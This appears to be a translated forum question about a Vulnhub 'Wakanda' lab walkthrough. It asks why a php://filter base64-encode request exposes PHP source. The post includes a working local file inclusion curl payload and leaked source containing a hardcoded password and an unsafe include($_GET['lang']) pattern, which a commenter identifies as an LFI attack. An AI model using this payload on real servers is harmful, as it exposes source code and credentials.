【发布时间】:2019-10-02 19:18:05
【问题描述】:
在此处阅读 wakanda 的 vulnhub 演练
https://medium.com/egghunter/wakanda-1-vulnhub-walkthrough-3d524ed8a372
它使用了我以前从未见过的 php 过滤器(base64 编码器),然后将其解码。使用这行代码
curl http://192.168.56.102/?lang=php://filter/convert.base64-encode/resource=index | head -n 1 | base64 -d
相比之下,我尝试简单地通过卷曲页面
curl http://192.168.56.102/?lang=php
两者都输出 html ,但过滤后的代码还会在包含在 php 标记内的 DOCTYPE 标头上方生成几行。我的问题是为什么会发生这种情况?
重要的输出(前几行)如下
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it
if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}
?>
<!DOCTYPE html>
<html lang="en"><head>
显然这是错误的,但过滤后的代码似乎是:编码,然后解码,并且在这个过程中以某种方式获得比我们只是卷曲所有内容更多的信息
【问题讨论】:
-
不确定stackoverflow.com/questions/20726247/… 是否能提供更多信息。
-
线条来自
?>和<!之间的空格。 -
这是LFI攻击,使用
php://filter/convert.base64-encode/resource=./path/to/file.php是一种读取文件内容的方式,而不是php解析。你不做的原因include($_GET['page'].'.php').